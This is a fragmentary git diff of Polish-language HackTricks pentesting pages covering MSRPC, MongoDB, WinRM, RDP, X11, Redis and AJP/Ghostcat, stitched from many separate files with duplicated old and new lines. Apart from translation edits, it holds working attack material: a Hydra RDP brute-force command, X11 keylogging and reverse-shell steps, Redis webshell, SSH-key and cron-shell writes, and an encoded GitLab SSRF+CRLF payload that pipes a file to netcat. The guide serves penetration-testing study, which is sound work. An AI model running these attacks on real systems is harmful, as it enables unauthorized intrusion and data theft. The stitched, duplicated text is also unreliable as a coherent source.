Metoda ta była używana do uzyskiwania informacji o interfejsie jako adresie **IPv6** z maszyny HTB _APT_. Zobacz [tutaj](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) dla opisu APT 0xdf, który zawiera alternatywną metodę używającą rpcmap.py z [Impacket](https://github.com/SecureAuthCorp/impacket/) z _stringbinding_ (patrz powyżej).
Metoda ta była używana do uzyskiwania informacji o interfejsie jako adres **IPv6** z maszyny HTB _APT_. Zobacz [tutaj](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) dla opisu 0xdf APT, zawiera alternatywną metodę używającą rpcmap.py z [Impacket](https://github.com/SecureAuthCorp/impacket/) z _stringbinding_ (patrz powyżej).
### Wykonywanie RCE z ważnymi poświadczeniami
@ -117,18 +117,18 @@ Możliwe jest wykonanie zdalnego kodu na maszynie, jeśli dostępne są poświad
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze ogłoszenia**\
Bądź na bieżąco z nowymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Podstawowe informacje
**MongoDB** to **system zarządzania bazą danych** typu **open source**, który wykorzystuje **model bazy danych zorientowanej na dokumenty** do obsługi różnych form danych. Oferuje elastyczność i skalowalność w zarządzaniu danymi nieustrukturyzowanymi lub półustrukturyzowanymi w aplikacjach takich jak analityka dużych zbiorów danych i zarządzanie treścią. **Domyślny port:** 27017, 27018
**MongoDB** to **system zarządzania bazą danych** typu **open source**, który wykorzystuje **model bazy danych zorientowanej na dokumenty** do obsługi różnych form danych. Oferuje elastyczność i skalowalność w zarządzaniu danymi niestrukturalnymi lub półstrukturalnymi w aplikacjach takich jak analityka dużych zbiorów danych i zarządzanie treścią. **Domyślny port:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -72,7 +72,7 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
* Szukaj pełnych otwartych serwerów mongodb: `"mongodb server information" -"partially enabled"`
* Tylko częściowo włączona autoryzacja: `"mongodb server information" "partially enabled"`
## Logowanie
## Login
Domyślnie mongo nie wymaga hasła.\
**Admin** to powszechna baza danych mongo.
@ -97,7 +97,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
Przykład [stąd](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
Mongo Object IDs to **12-bajtowe ciągi szesnastkowe**:
Mongo Object IDs to **12-bajtowe** ciągi szesnastkowe:
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
@ -118,7 +118,7 @@ Jeśli jesteś rootem, możesz **zmodyfikować** plik **mongodb.conf**, aby nie
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -43,7 +43,7 @@ Otwarty port z powyższej listy oznacza, że WinRM zostało skonfigurowane, co p
### **Inicjowanie sesji WinRM**
Aby skonfigurować PowerShell dla WinRM, używa się polecenia `Enable-PSRemoting` od Microsoftu, które przygotowuje komputer do akceptacji zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
Aby skonfigurować PowerShell dla WinRM, wchodzi w grę polecenie `Enable-PSRemoting` od Microsoftu, które przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Z podwyższonym dostępem PowerShell można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -68,7 +68,7 @@ Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza,
![](<../.gitbook/assets/image (582).png>)
* Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem takich szczegółowych informacji, co podkreśla brak odpowiedniej konfiguracji WinRM.
* Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem takich szczegółowych informacji, podkreślając brak odpowiedniej konfiguracji WinRM.
![](<../.gitbook/assets/image (458).png>)
@ -150,18 +150,18 @@ Spróbuj na kliencie (informacje [tutaj](https://serverfault.com/questions/65791
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
**Wgląd w Hacking**\
**Hacking Insights**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Real-Time Hack News**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Latest Announcements**\
Bądź na bieżąco z najnowszymi programami bug bounty oraz istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -328,7 +328,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Podstawowe informacje
**X Window System** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia ramy do tworzenia graficznych **interfejsów użytkownika (GUI)**, przy czym poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowywane doświadczenia w środowisku X.
**X Window System** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia ramy do tworzenia graficznych **interfejsów użytkownika (GUI)**, przy czym poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowane doświadczenia w środowisku X.
**Domyślny port:** 6000
```
@ -46,7 +46,7 @@ Sprawdź **anonimowe połączenie:**
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalne wyliczanie
#### Lokalna enumeracja
Plik **`.Xauthority`** w katalogu domowym użytkownika jest **używany** przez **X11 do autoryzacji**. Z [**tutaj**](https://stackoverflow.com/a/37367518):
```bash
@ -78,7 +78,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) do podsłuchiwania naciśnięć klawiszy na klawiaturze.
[xspy](http://tools.kali.org/sniffingspoofing/xspy) do przechwytywania naciśnięć klawiszy na klawiaturze.
Sample Output:
```
@ -139,8 +139,6 @@ Aby uzyskać **podgląd na żywo**, musimy użyć
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Inny sposób:
**Reverse Shell:** Xrdp umożliwia również uzyskanie reverse shell za pomocą Netcat. Wpisz następujące polecenie:
```bash
./xrdp.py \<IP:0> no-disp
@ -163,17 +161,17 @@ Następnie wprowadź swój adres IP i port w opcji **R-Shell** i kliknij na **R-
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem.
**Aktualności Hackingowe w Czasie Rzeczywistym**\
**Aktualności o Hacking**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom.
**Najnowsze Ogłoszenia**\
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platform.
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -188,7 +186,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Dziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,38 +1,38 @@
# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Wsparcie HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Wgląd w Hacking**\
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
## Podstawowe informacje
## Podstawowe Informacje
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarte źródło (licencja BSD), w pamięci **magazyn struktury danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości.
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarte źródło (licencja BSD), w pamięci **magazyn danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości).
Domyślnie Redis używa protokołu opartego na czystym tekście, ale musisz pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
@ -59,7 +59,7 @@ W regularnej instancji Redis możesz po prostu połączyć się za pomocą `nc`
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może zwrócić wynik z informacjami o instancji Redis **lub coś** takiego jak poniżej:
Pierwszym poleceniem, które możesz spróbować, jest **`info`**. Może zwrócić dane z informacjami o instancji Redis **lub coś** takiego jak poniżej:
```
-NOAUTH Authentication required.
```
@ -81,11 +81,11 @@ W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia
```bash
AUTH <username> <password>
```
**Ważne dane logowania** będą odpowiedziane: `+OK`
**Ważne dane uwierzytelniające** będą odpowiedziane: `+OK`
### **Uwierzytelniona enumeracja**
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane logowania, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś ważne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
```bash
INFO
[ ... Redis response with info ... ]
@ -141,7 +141,7 @@ DUMP <key>
```
**Zrzut bazy danych za pomocą npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
@ -166,7 +166,7 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
```
### PHP Webshell
Info z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu witryny**:
Info z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu strony internetowej**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -206,7 +206,7 @@ Zauważ, że **kilka silników szablonów buforuje** szablony w **pamięci**, wi
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach exploit. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** **użytkownika redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać:
Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach exploit. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** **użytkownika redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz również to wykorzystać:
1. Wygeneruj parę kluczy publicznych-prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`**
2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
@ -239,7 +239,7 @@ OK
```
Ostatni przykład dotyczy Ubuntu, dla **Centos** powyższe polecenie powinno być: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Ta metoda może być również używana do zarabiania bitcoinów [yam](https://www.v2ex.com/t/286981#reply14)
Ta metoda może być również używana do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14)
### Załaduj moduł Redis
@ -256,7 +256,7 @@ Ta metoda może być również używana do zarabiania bitcoinów [yam](https:
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Odładuj moduł, kiedy chcesz: `MODULE UNLOAD mymodule`.
6. Rozładuj moduł, kiedy chcesz: `MODULE UNLOAD mymodule`.
### Ominięcie piaskownicy LUA
@ -292,11 +292,11 @@ Jeśli możesz wysłać **czysty tekst** żądanie **do Redis**, możesz **komun
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Zatem, jeśli znajdziesz **SSRF vuln** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może z wykorzystaniem luki CRLF) lub **parametry POST**, będziesz w stanie wysyłać dowolne polecenia do Redis.
Zatem, jeśli znajdziesz **SSRF vuln** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może z wykorzystaniem luki **CRLF**) lub **parametry POST**, będziesz w stanie wysłać dowolne polecenia do Redis.
### Przykład: Gitlab SSRF + CRLF do Shell
W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie znaków %0D%0A** do **URL**.
W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie %0D%0A** do **URL**.
Zatem możliwe było **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużycie tych kolejek w celu **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
```
@ -309,9 +309,9 @@ A **URL encode** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania `who
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała z użyciem schematu `git`, a nie `http`._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -319,10 +319,10 @@ Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), ab
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -30,17 +30,17 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Podstawowe informacje
## Basic Information
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP to protokół sieciowy. Jest to zoptymalizowana wersja protokołu HTTP, która pozwala samodzielnemu serwerowi internetowemu, takiemu jak [Apache](http://httpd.apache.org/), komunikować się z Tomcatem. Historycznie, Apache był znacznie szybszy niż Tomcat w serwowaniu statycznej zawartości. Idea polega na tym, aby pozwolić Apache'owi serwować statyczną zawartość, gdy to możliwe, ale przekazywać żądanie do Tomcata w przypadku zawartości związanej z Tomcatem.
> AJP to protokół sieciowy. Jest to zoptymalizowana wersja protokołu HTTP, która pozwala samodzielnemu serwerowi internetowemu, takiemu jak [Apache](http://httpd.apache.org/), komunikować się z Tomcatem. Historycznie, Apache był znacznie szybszy niż Tomcat w serwowaniu statycznej zawartości. Idea polega na tym, aby pozwolić Apache na serwowanie statycznej zawartości, gdy to możliwe, ale proxy'ować żądanie do Tomcata w przypadku zawartości związanej z Tomcatem.
Również interesujące:
> Protokół ajp13 jest zorientowany na pakiety. Format binarny został prawdopodobnie wybrany zamiast bardziej czytelnego tekstu zwykłego z powodów wydajnościowych. Serwer internetowy komunikuje się z kontenerem servletów za pośrednictwem połączeń TCP. Aby ograniczyć kosztowny proces tworzenia gniazd, serwer internetowy będzie starał się utrzymywać trwałe połączenia TCP z kontenerem servletów i ponownie wykorzystywać połączenie do wielu cykli żądanie/odpowiedź.
> Protokół ajp13 jest zorientowany na pakiety. Format binarny został prawdopodobnie wybrany zamiast bardziej czytelnego tekstu zwykłego z powodów wydajnościowych. Serwer internetowy komunikuje się z kontenerem servletów za pośrednictwem połączeń TCP. Aby ograniczyć kosztowny proces tworzenia gniazd, serwer internetowy będzie starał się utrzymać trwałe połączenia TCP z kontenerem servletów i ponownie wykorzystywać połączenie do wielu cykli żądanie/odpowiedź.
**Domyślny port:** 8009
**Default port:** 8009
```
PORT STATE SERVICE
8009/tcp open ajp13
@ -49,9 +49,9 @@ PORT STATE SERVICE
Jeśli port AJP jest wystawiony, Tomcat może być podatny na lukę Ghostcat. Oto [eksploit](https://www.exploit-db.com/exploits/48143), który działa z tym problemem.
Ghostcat to luka LFI, ale w pewnym stopniu ograniczona: można pobierać tylko pliki z określonej ścieżki. Mimo to, mogą to być pliki takie jak `WEB-INF/web.xml`, które mogą ujawniać ważne informacje, takie jak dane uwierzytelniające do interfejsu Tomcat, w zależności od konfiguracji serwera.
Ghostcat to luka LFI, ale w pewnym sensie ograniczona: można pobierać tylko pliki z określonej ścieżki. Mimo to, mogą to być pliki takie jak `WEB-INF/web.xml`, które mogą ujawniać ważne informacje, takie jak dane uwierzytelniające do interfejsu Tomcat, w zależności od konfiguracji serwera.
Poprawione wersje w wersji 9.0.31 lub wyższej, 8.5.51 i 7.0.100 naprawiły ten problem.
Poprawione wersje 9.0.31, 8.5.51 i 7.0.100 rozwiązały ten problem.
## Enumeration
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
```
